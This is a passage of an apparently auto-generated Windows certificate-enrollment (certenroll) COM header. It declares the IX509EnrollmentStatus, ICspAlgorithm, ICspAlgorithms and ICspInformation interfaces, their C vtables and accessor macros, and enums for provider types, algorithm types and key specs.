*put_Selected )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentSelectionStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Display )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentDisplayStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Display )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentDisplayStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out EnrollmentEnrollStatus *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Status )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ EnrollmentEnrollStatus Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Error )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__out HRESULT *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Error )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [in] */ HRESULT Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ErrorText )( \n            __RPC__in IX509EnrollmentStatus * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509EnrollmentStatusVtbl;\n\n    interface IX509EnrollmentStatus\n    {\n        CONST_VTBL struct IX509EnrollmentStatusVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509EnrollmentStatus_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509EnrollmentStatus_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509EnrollmentStatus_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509EnrollmentStatus_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509EnrollmentStatus_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509EnrollmentStatus_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509EnrollmentStatus_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509EnrollmentStatus_AppendText(This,strText)\t\\\n    ( (This)->lpVtbl -> AppendText(This,strText) ) \n\n#define IX509EnrollmentStatus_get_Text(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Text(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Text(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Text(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Selected(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Selected(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Selected(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Selected(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Display(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Display(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Display(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Display(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Status(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Status(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Status(This,Value) ) \n\n#define IX509EnrollmentStatus_get_Error(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Error(This,pValue) ) \n\n#define IX509EnrollmentStatus_put_Error(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Error(This,Value) ) \n\n#define IX509EnrollmentStatus_get_ErrorText(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ErrorText(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509EnrollmentStatus_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0006 */\n/* [local] */ \n\ntypedef \nenum X509ProviderType\n    {\n        XCN_PROV_NONE\t= 0,\n        XCN_PROV_RSA_FULL\t= 1,\n        XCN_PROV_RSA_SIG\t= 2,\n        XCN_PROV_DSS\t= 3,\n        XCN_PROV_FORTEZZA\t= 4,\n        XCN_PROV_MS_EXCHANGE\t= 5,\n        XCN_PROV_SSL\t= 6,\n        XCN_PROV_RSA_SCHANNEL\t= 12,\n        XCN_PROV_DSS_DH\t= 13,\n        XCN_PROV_EC_ECDSA_SIG\t= 14,\n        XCN_PROV_EC_ECNRA_SIG\t= 15,\n        XCN_PROV_EC_ECDSA_FULL\t= 16,\n        XCN_PROV_EC_ECNRA_FULL\t= 17,\n        XCN_PROV_DH_SCHANNEL\t= 18,\n        XCN_PROV_SPYRUS_LYNKS\t= 20,\n        XCN_PROV_RNG\t= 21,\n        XCN_PROV_INTEL_SEC\t= 22,\n        XCN_PROV_REPLACE_OWF\t= 23,\n        XCN_PROV_RSA_AES\t= 24\n    } \tX509ProviderType;\n\n// XCN_BCRYPT_SIGNATURE_INTERFACE: RSA, DSA, ECDSA_P* signature\n// XCN_BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE: RSA encryption\n// XCN_BCRYPT_CIPHER_INTERFACE: RC2, RC4, DES, 3DES, AES symmetric encryption\n// XCN_BCRYPT_HASH_INTERFACE: MD2, MD4, SHA1, SHA256, SHA384, SHA512 MAC, HMAC Hash\n// XCN_BCRYPT_SECRET_AGREEMENT_INTERFACE: DH, ECDH_P* key agreement\n// XCN_BCRYPT_RNG_INTERFACE: RNG\ntypedef \nenum AlgorithmType\n    {\n        XCN_BCRYPT_UNKNOWN_INTERFACE\t= 0,\n        XCN_BCRYPT_SIGNATURE_INTERFACE\t= 0x5,\n        XCN_BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE\t= 0x3,\n        XCN_BCRYPT_CIPHER_INTERFACE\t= 0x1,\n        XCN_BCRYPT_HASH_INTERFACE\t= 0x2,\n        XCN_BCRYPT_SECRET_AGREEMENT_INTERFACE\t= 0x4,\n        XCN_BCRYPT_RNG_INTERFACE\t= 0x6\n    } \tAlgorithmType;\n\ntypedef \nenum AlgorithmOperationFlags\n    {\n        XCN_NCRYPT_NO_OPERATION\t= 0,\n        XCN_NCRYPT_CIPHER_OPERATION\t= 0x1,\n        XCN_NCRYPT_HASH_OPERATION\t= 0x2,\n        XCN_NCRYPT_ASYMMETRIC_ENCRYPTION_OPERATION\t= 0x4,\n        XCN_NCRYPT_SECRET_AGREEMENT_OPERATION\t= 0x8,\n        XCN_NCRYPT_SIGNATURE_OPERATION\t= 0x10,\n        XCN_NCRYPT_RNG_OPERATION\t= 0x20,\n        XCN_NCRYPT_ANY_ASYMMETRIC_OPERATION\t= ( ( 0x4 | 0x8 )  | 0x10 ) ,\n        XCN_NCRYPT_PREFER_SIGNATURE_ONLY_OPERATION\t= 0x200000,\n        XCN_NCRYPT_PREFER_NON_SIGNATURE_OPERATION\t= 0x400000,\n        XCN_NCRYPT_EXACT_MATCH_OPERATION\t= 0x800000,\n        XCN_NCRYPT_PREFERENCE_MASK_OPERATION\t= 0xe00000\n    } \tAlgorithmOperationFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0006_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0006_v0_0_s_ifspec;\n\n#ifndef __ICspAlgorithm_INTERFACE_DEFINED__\n#define __ICspAlgorithm_INTERFACE_DEFINED__\n\n/* interface ICspAlgorithm */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspAlgorithm;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab305-217d-11da-b2a4-000e7bbb2b09\")\n    ICspAlgorithm : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE GetAlgorithmOid( \n            /* [in] */ LONG Length,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_DefaultLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_IncrementLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_LongName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Valid( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MaxLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_MinLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out AlgorithmType *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Operations( \n            /* [retval][out] */ __RPC__out AlgorithmOperationFlags *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspAlgorithmVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspAlgorithm * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspAlgorithm * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspAlgorithm * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspAlgorithm * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *GetAlgorithmOid )( \n            __RPC__in ICspAlgorithm * This,\n            /* [in] */ LONG Length,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_IncrementLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_LongName )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Valid )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MaxLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MinLength )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out AlgorithmType *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Operations )( \n            __RPC__in ICspAlgorithm * This,\n            /* [retval][out] */ __RPC__out AlgorithmOperationFlags *pValue);\n        \n        END_INTERFACE\n    } ICspAlgorithmVtbl;\n\n    interface ICspAlgorithm\n    {\n        CONST_VTBL struct ICspAlgorithmVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspAlgorithm_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspAlgorithm_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspAlgorithm_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspAlgorithm_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspAlgorithm_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspAlgorithm_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspAlgorithm_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspAlgorithm_GetAlgorithmOid(This,Length,AlgFlags,ppValue)\t\\\n    ( (This)->lpVtbl -> GetAlgorithmOid(This,Length,AlgFlags,ppValue) ) \n\n#define ICspAlgorithm_get_DefaultLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultLength(This,pValue) ) \n\n#define ICspAlgorithm_get_IncrementLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IncrementLength(This,pValue) ) \n\n#define ICspAlgorithm_get_LongName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LongName(This,pValue) ) \n\n#define ICspAlgorithm_get_Valid(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Valid(This,pValue) ) \n\n#define ICspAlgorithm_get_MaxLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MaxLength(This,pValue) ) \n\n#define ICspAlgorithm_get_MinLength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MinLength(This,pValue) ) \n\n#define ICspAlgorithm_get_Name(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Name(This,pValue) ) \n\n#define ICspAlgorithm_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define ICspAlgorithm_get_Operations(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Operations(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspAlgorithm_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICspAlgorithms_INTERFACE_DEFINED__\n#define __ICspAlgorithms_INTERFACE_DEFINED__\n\n/* interface ICspAlgorithms */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspAlgorithms;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab306-217d-11da-b2a4-000e7bbb2b09\")\n    ICspAlgorithms : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget][custom] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id][custom] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ICspAlgorithm *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByName( \n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IndexByObjectId( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspAlgorithmsVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICspAlgorithms * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICspAlgorithms * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICspAlgorithms * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICspAlgorithms * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByIndex )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **pVal);\n        \n        /* [helpstring][id][propget][custom] */ HRESULT ( STDMETHODCALLTYPE *get_Count )( \n            __RPC__in ICspAlgorithms * This,\n            /* [retval][out] */ __RPC__out long *pVal);\n        \n        /* [restricted][helpstring][id][propget] */ HRESULT ( STDMETHODCALLTYPE *get__NewEnum )( \n            __RPC__in ICspAlgorithms * This,\n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal);\n        \n        /* [helpstring][id][custom] */ HRESULT ( STDMETHODCALLTYPE *Add )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in_opt ICspAlgorithm *pVal);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Remove )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ LONG Index);\n        \n        /* [helpstring][id] */ HRESULT ( STDMETHODCALLTYPE *Clear )( \n            __RPC__in ICspAlgorithms * This);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ItemByName )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in BSTR strName,\n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithm **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IndexByObjectId )( \n            __RPC__in ICspAlgorithms * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [retval][out] */ __RPC__out LONG *pIndex);\n        \n        END_INTERFACE\n    } ICspAlgorithmsVtbl;\n\n    interface ICspAlgorithms\n    {\n        CONST_VTBL struct ICspAlgorithmsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICspAlgorithms_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICspAlgorithms_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICspAlgorithms_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICspAlgorithms_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICspAlgorithms_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICspAlgorithms_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICspAlgorithms_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICspAlgorithms_get_ItemByIndex(This,Index,pVal)\t\\\n    ( (This)->lpVtbl -> get_ItemByIndex(This,Index,pVal) ) \n\n#define ICspAlgorithms_get_Count(This,pVal)\t\\\n    ( (This)->lpVtbl -> get_Count(This,pVal) ) \n\n#define ICspAlgorithms_get__NewEnum(This,pVal)\t\\\n    ( (This)->lpVtbl -> get__NewEnum(This,pVal) ) \n\n#define ICspAlgorithms_Add(This,pVal)\t\\\n    ( (This)->lpVtbl -> Add(This,pVal) ) \n\n#define ICspAlgorithms_Remove(This,Index)\t\\\n    ( (This)->lpVtbl -> Remove(This,Index) ) \n\n#define ICspAlgorithms_Clear(This)\t\\\n    ( (This)->lpVtbl -> Clear(This) ) \n\n#define ICspAlgorithms_get_ItemByName(This,strName,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ItemByName(This,strName,ppValue) ) \n\n#define ICspAlgorithms_get_IndexByObjectId(This,pObjectId,pIndex)\t\\\n    ( (This)->lpVtbl -> get_IndexByObjectId(This,pObjectId,pIndex) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICspAlgorithms_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0008 */\n/* [local] */ \n\ntypedef \nenum X509KeySpec\n    {\n        XCN_AT_NONE\t= 0,\n        XCN_AT_KEYEXCHANGE\t= 1,\n        XCN_AT_SIGNATURE\t= 2\n    } \tX509KeySpec;\n\n\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0008_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0008_v0_0_s_ifspec;\n\n#ifndef __ICspInformation_INTERFACE_DEFINED__\n#define __ICspInformation_INTERFACE_DEFINED__\n\n/* interface ICspInformation */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICspInformation;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab307-217d-11da-b2a4-000e7bbb2b09\")\n    ICspInformation : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromName( \n            /* [in] */ __RPC__in BSTR strName) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromType( \n            /* [in] */ X509ProviderType Type,\n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ VARIANT_BOOL MachineContext) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CspAlgorithms( \n            /* [retval][out] */ __RPC__deref_out_opt ICspAlgorithms **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HasHardwareRandomNumberGenerator( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsHardwareDevice( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsRemovable( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsSoftwareDevice( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Valid( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_MaxKeyContainerNameLength( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Type( \n            /* [retval][out] */ __RPC__out X509ProviderType *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Version( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_KeySpec( \n            /* [retval][out] */ __RPC__out X509KeySpec *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_IsSmartCard( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetDefaultSecurityDescriptor( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_LegacyCsp( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetCspStatusFromOperations( \n            /* [in] */ __RPC__in_opt IObjectId *pAlgorithm,\n            /* [in] */ AlgorithmOperationFlags Operations,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICspInformationVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICspInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            